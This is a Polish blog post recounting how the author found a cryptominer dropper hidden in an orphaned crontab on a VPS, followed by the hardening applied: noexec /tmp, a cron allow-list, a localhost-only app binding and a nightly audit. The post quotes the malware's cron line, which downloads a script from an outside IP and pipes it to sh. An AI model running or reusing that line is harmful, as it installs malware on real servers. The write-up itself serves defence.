PABLO.ENGINEERING
// WRÓĆ DO WSZYSTKICH WPISÓW
// 4 min

Jak podpinając domenę pod hub inżynierski trafiłem na stealth minera i dlaczego noexec na /tmp to podstawa

#security#devops#linux#hardening#bash#nextjs

Wdrażałem moją witrynę / hub inżynierski (paterski.com) na serwerze VPS z systemem Ubuntu 24.04. Na tej samej maszynie działały już inne usługi, więc zasada była prosta: pełna izolacja, dedykowany użytkownik systemowy, bezpieczne reverse proxy przez serwer Caddy i zero kolizji portów.

Podczas rutynowego przeglądu procesów i zaplanowanych zadań przed podpięciem domeny trafiłem jednak na coś, co nie miało prawa tam być.

Problem: Cichy pasażer na serwerze udający bazę danych

Gdy sprawdziłem harmonogram zadań (crontab -l) nowo utworzonego użytkownika systemowego, natrafiłem na podejrzaną linijkę:

* * * * * /bin/sh -c '{ kill -0 2079493 2>/dev/null || grep -q 0100007F:A71C /proc/net/tcp 2>/dev/null; } && exit 0; (wget -qO- http://193.32.162.73/d/7c4124282c4ad7b6/init.sh || curl -sL http://193.32.162.73/d/7c4124282c4ad7b6/init.sh) | /bin/sh' > /dev/null 2>&1

Zajrzałem do listy aktywnych procesów (ps aux). Znalazłem proces o niewinnej nazwie redis-server r, pożerający zasoby procesora. Sęk w tym, że na tym serwerze w ogóle nie instalowałem Redisa jako bazy danych.

Szybka inspekcja deskryptorów w /proc/2079493/exe wyjaśniła wszystko: To klasyczny złośliwy skrypt (tzw. dropper). Ściąga do katalogu tymczasowego /tmp program do kopania kryptowalut, uruchamia go, usuwa sam plik wykonywalny z dysku, w pamięci RAM podszywa się pod proces redis-server, a w harmonogramie crona ustawia mechanizm automatycznego wznawiania co 60 sekund.

Skąd to się wzięło u nowego użytkownika?

Gdy utworzyłem konto poleceniem useradd -r ..., system przydzielił mu pierwszy wolny identyfikator (UID 994). Okazało się, że ten sam numer należał kiedyś do dawnego konta testowego, po którym w katalogu /var/spool/cron/crontabs/ pozostał osierocony plik. Nowy użytkownik po prostu nieświadomie odziedziczył starego wirusa.

Co zrobiłem: Twarde uszczelnienie systemu Linux

Samo zabicie procesu poleceniem kill -9 rozwiązuje problem tylko na chwilę. Skoro złośliwy kod był w stanie zapisać i uruchomić program w katalogu /tmp, a dowolne konto mogło rejestrować zadania w cronie, to winna była zbyt luźna, domyślna konfiguracja systemu.

Zamiast gasić pożary, zamknąłem luki u źródła:

1. Blokada uruchamiania programów w /tmp (opcja noexec)

Atakujący niemal zawsze używają katalogu /tmp, ponieważ w Linuksie każdy użytkownik ma prawo zapisywać tam pliki. W pliku /etc/fstab dodałem flagę noexec:

tmpfs /tmp tmpfs rw,nosuid,nodev,noexec,relatime,size=2G 0 0

Co to daje? Nawet jeśli intruz zdoła pobrać plik do /tmp, system bezwzględnie odmówi jego uruchomienia (Permission denied). Złośliwy skrypt staje się całkowicie bezradny.

2. Biała lista zadań harmonogramu (/etc/cron.allow)

Domyślnie w Ubuntu każdy użytkownik może ustawić własny crontab. Wdrożyłem restrykcyjną politykę:

  • Utworzyłem plik /etc/cron.allow zawierający wyłącznie konto administratora (root).
  • Zabezpieczyłem uprawnienia pliku (chmod 600). Od tego momentu żadne konto serwisowe nie jest w stanie zarejestrować zadania w tle.

3. Schowanie aplikacji przed światem zewnętrznym

Aplikacja Next.js domyślnie nasłuchuje na adresie 0.0.0.0 (dostępna z zewnątrz na danym porcie). W usłudze systemd wymusiłem bindowanie wyłącznie do lokalnej pętli zwrotnej:

ExecStart=/usr/bin/npx next start -H 127.0.0.1 -p 3020

Cały ruch z internetu przechodzi wyłącznie przez bezpieczny serwer Caddy, który automatycznie dba o certyfikaty SSL, HTTP/2, HSTS i nowoczesne nagłówki bezpieczeństwa.

4. Nocny strażnik (automatyczny watchdog)

Żeby nie polegać na zawodnej pamięci, postawiłem prosty skrypt audytujący uruchamiany co noc:

  • sprawdza, czy nikt poza administratorem nie zarejestrował zadań w cronie,
  • weryfikuje uprawnienia kluczowych plików konfiguracyjnych,
  • skanuje katalogi /tmp i /var/tmp w poszukiwaniu podejrzanych plików.

Dlaczego to ważne (Use Case)

Dlaczego warto przeprowadzać taki hardening nawet na prywatnym serwerze?

  • Bezpieczeństwo zasobów i portfela: Złośliwe koparki kryptowalut potrafią przeciążyć serwer, doprowadzając do zablokowania konta u dostawcy chmury lub naliczenia wysokich rachunków za zużycie procesora.
  • Odporność na automatyczne boty: Ponad 90% ataków w sieci to zautomatyzowane skrypty szukające otwartych katalogów /tmp. Flaga noexec i biała lista crona neutralizują te zagrożenia na poziomie jądra systemu.
  • Spokój ducha przy kolejnych wdrożeniach: Gdy fundamenty systemu operacyjnego są solidnie zabezpieczone, możesz bezpiecznie uruchamiać kolejne projekty bez obawy o wzajemne zakłócenia.

Czego się nauczyłem

  1. Identyfikatory UID w Linuksie żyją własnym życiem: Usuwając lub tworząc konta systemowe, zawsze sprawdź, czy w katalogach systemowych nie zostały osierocone pliki i zadania po dawnych procesach.
  2. noexec na partycji /tmp to absolutny obowiązek: Jedna linijka w /etc/fstab to najprostsza i najskuteczniejsza tarcza ochronna na każdym serwerze z Linuksem.
  3. Rutynowy przegląd przy deployu zawsze popłaca: Wdrożenie nowej witryny stało się doskonałym pretekstem do zamknięcia furtek, o których łatwo zapomnieć, dopóki serwer po prostu działa.